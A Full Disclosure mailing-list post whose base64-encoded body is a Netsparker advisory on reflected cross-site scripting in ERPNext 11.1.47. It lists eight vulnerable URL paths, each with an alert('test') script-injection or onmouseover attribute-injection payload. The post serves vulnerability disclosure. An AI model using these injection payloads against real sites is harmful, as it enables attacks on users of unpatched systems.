Multiple Reflected Cross-site Scripting Vulnerabilities in ERPNext 11.1.47
Daniel Bishtawi <[email protected]> Mon, 6 Jan 2020 16:31:14 +0100
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.news.securitytracker |
|---|---|
| Message-ID | <CAKD6+R4KBjuY7kLyU4KpB8Og5XTS8hi9-ryO+CnQX=A4HaLG6g@mail.gmail.com> |
SGVsbG8sCgpXZSBhcmUgaW5mb3JtaW5nIHlvdSBhYm91dCB0aGUgdnVsbmVyYWJpbGl0aWVzIGlu IEVSUE5leHQgMTEuMS40NwoKSGVyZSBhcmUgdGhlIGRldGFpbHM6CgpJbmZvcm1hdGlvbgotLS0t LS0tLS0tLS0tLS0tLS0tLQoKQWR2aXNvcnkgYnkgTmV0c3BhcmtlcgpOYW1lOiBNdWx0aXBsZSBS ZWZsZWN0ZWQgQ3Jvc3Mtc2l0ZSBTY3JpcHRpbmcgVnVsbmVyYWJpbGl0aWVzIGluIEVSUE5leHQK QWZmZWN0ZWQgU29mdHdhcmU6IEVSUE5leHQKQWZmZWN0ZWQgVmVyc2lvbnM6IDExLjEuNDcKVmVu ZG9yIEhvbWVwYWdlOiBodHRwczovL2VycG5leHQuY29tLwpWdWxuZXJhYmlsaXR5IFR5cGU6IFJl ZmxlY3RlZCBDcm9zcy1zaXRlIFNjcmlwdGluZwpTZXZlcml0eTogSGlnaApTdGF0dXM6IEZpeGVk CkNWU1MgU2NvcmUgKDMuMCk6IENWU1M6My4wL0FWOk4vQUM6TC9QUjpOL1VJOlIvUzpDL0M6SC9J Ok4vQTpOCk5ldHNwYXJrZXIgQWR2aXNvcnkgUmVmZXJlbmNlOiBOUy0xOS0wMTcKClRlY2huaWNh bCBEZXRhaWxzCi0tLS0tLS0tLS0tLS0tLS0tLS0tCgpVUkw6IGh0dHA6Ly8Ke0RPTUFJTn0vYWRk cmVzcy8nIi0tPjwvc3R5bGU+PC9zY1JpcHQ+PHNjUmlwdD5hbGVydCjigJh0ZXN04oCZKTwvc2NS aXB0PgpQYXJhbWV0ZXIgVHlwZSA6IEZ1bGwgVVJMClBhcmFtZXRlciBOYW1lIDogVVJJLUJBU0VE CkF0dGFjayBQYXR0ZXJuIDogJyItLT48L3N0eWxlPjwvc2NSaXB0PjxzY1JpcHQ+YWxlcnQo4oCY dGVzdOKAmSk8L3NjUmlwdD4KClVSTDogIGh0dHA6Ly8Ke0RPTUFJTn0vYWRkcmVzc2VzLyciLS0+ PC9zdHlsZT48L3NjUmlwdD48c2NSaXB0PmFsZXJ0KOKAmHRlc3TigJkpPC9zY1JpcHQ+ClBhcmFt ZXRlciBUeXBlIDogRnVsbCBVUkwKUGFyYW1ldGVyIE5hbWUgOiBVUkktQkFTRUQKQXR0YWNrIFBh dHRlcm4gOiAnIi0tPjwvc3R5bGU+PC9zY1JpcHQ+PHNjUmlwdD5hbGVydCjigJh0ZXN04oCZKTwv c2NSaXB0PgoKVVJMOiBodHRwOi8ve0RPTUFJTn0vYmxvZy8ib25sb2FkPSJhbGVydCjigJh0ZXN0 4oCZKSIgeApQYXJhbWV0ZXIgVHlwZSA6IEZ1bGwgVVJMClBhcmFtZXRlciBOYW1lIDogVVJJLUJB U0VECkF0dGFjayBQYXR0ZXJuIDogImFsZXJ0KOKAmHRlc3TigJkpIiB4CgpVUkw6IGh0dHA6Ly8K e0RPTUFJTn0vY29udGFjdC8nIi0tPjwvc3R5bGU+PC9zY1JpcHQ+PHNjUmlwdD5hbGVydCjigJh0 ZXN04oCZKTwvc2NSaXB0PgpQYXJhbWV0ZXIgVHlwZSA6IEZ1bGwgVVJMClBhcmFtZXRlciBOYW1l IDogVVJJLUJBU0VECkF0dGFjayBQYXR0ZXJuIDogJyItLT48L3N0eWxlPjwvc2NSaXB0PjxzY1Jp cHQ+YWxlcnQo4oCYdGVzdOKAmSk8L3NjUmlwdD4KClVSTDogaHR0cDovLwp7RE9NQUlOfS9wcm9q ZWN0LyciLS0+PC9zdHlsZT48L3NjUmlwdD48c2NSaXB0PmFsZXJ0KOKAmHRlc3TigJkpPC9zY1Jp cHQ+ClBhcmFtZXRlciBUeXBlIDogRnVsbCBVUkwKUGFyYW1ldGVyIE5hbWUgOiBVUkktQkFTRUQK QXR0YWNrIFBhdHRlcm4gOiAnIi0tPjwvc3R5bGU+PC9zY1JpcHQ+PHNjUmlwdD5hbGVydCjigJh0 ZXN04oCZKTwvc2NSaXB0PgoKVVJMOiBodHRwOi8ve0RPTUFJTn0vdXNlci9hZG1pbkBleGFtcGxl LmNvbXgKIiUyMG9ubW91c2VvdmVyPWFsZXJ0KOKAmHRlc3TigJkpJTIweD0iClBhcmFtZXRlciBU eXBlIDogRnVsbCBVUkwKUGFyYW1ldGVyIE5hbWUgOiBVUkktQkFTRUQKQXR0YWNrIFBhdHRlcm4g OiB4IiUyMG9ubW91c2VvdmVyPWFsZXJ0KOKAmHRlc3TigJkpJTIweD0iCgpVUkw6IGh0dHA6Ly97 RE9NQUlOfS9hcGkvbWV0aG9kL3giJTIwb25tb3VzZW92ZXI9YWxlcnQo4oCYdGVzdOKAmSklMjB4 PSIKUGFyYW1ldGVyIFR5cGUgOiBGdWxsIFVSTApQYXJhbWV0ZXIgTmFtZSA6IFVSSS1CQVNFRApB dHRhY2sgUGF0dGVybiA6IHgiJTIwb25tb3VzZW92ZXI9YWxlcnQo4oCYdGVzdOKAmSklMjB4PSIK ClVSTDogaHR0cDovL3tET01BSU59L2FwaS94IiUyMG9ubW91c2VvdmVyPWFsZXJ0KOKAmHRlc3Ti gJkpJTIweD0iClBhcmFtZXRlciBUeXBlIDogRnVsbCBVUkwKUGFyYW1ldGVyIE5hbWUgOiBVUkkt QkFTRUQKQXR0YWNrIFBhdHRlcm4gOiB4IiUyMG9ubW91c2VvdmVyPWFsZXJ0KOKAmHRlc3TigJkp JTIweD0iCgpGb3IgbW9yZSBpbmZvcm1hdGlvbjoKaHR0cHM6Ly93d3cubmV0c3Bhcmtlci5jb20v d2ViLWFwcGxpY2F0aW9ucy1hZHZpc29yaWVzL25zLTE5LTAxNy1jcm9zcy1zaXRlLXNjcmlwdGlu Zy1pbi1lcnBuZXh0LwoKClJlZ2FyZHMsCgpEYW5pZWwgQmlzaHRhd2kKTWFya2V0aW5nIEFkbWlu aXN0cmF0b3IgfCBOZXRzcGFya2VyIFdlYiBBcHBsaWNhdGlvbiBTZWN1cml0eSBTY2FubmVyCkZv bGxvdyB1cyBvbiBUd2l0dGVyIDxodHRwczovL3R3aXR0ZXIuY29tL25ldHNwYXJrZXI+IHwgTGlu a2VkSW4KPGh0dHBzOi8vd3d3LmxpbmtlZGluLmNvbS9jb21wYW55L25ldHNwYXJrZXItbHRkPiB8 IEZhY2Vib29rCjxodHRwczovL2ZhY2Vib29rLmNvbS9uZXRzcGFya2VyPgo8aHR0cHM6Ly93d3cu bmV0c3Bhcmtlci5jb20vYmxvZy9ldmVudHMvZXhoaWJpdGluZy1yc2EtY29uZmVyZW5jZS1zYW4t ZnJhbmNpc2NvLXVzYS0yMDIwLz4KCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fClNlbnQgdGhyb3VnaCB0aGUgRnVsbCBEaXNjbG9zdXJlIG1haWxpbmcgbGlz dApodHRwczovL25tYXAub3JnL21haWxtYW4vbGlzdGluZm8vZnVsbGRpc2Nsb3N1cmUKV2ViIEFy Y2hpdmVzICYgUlNTOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLw==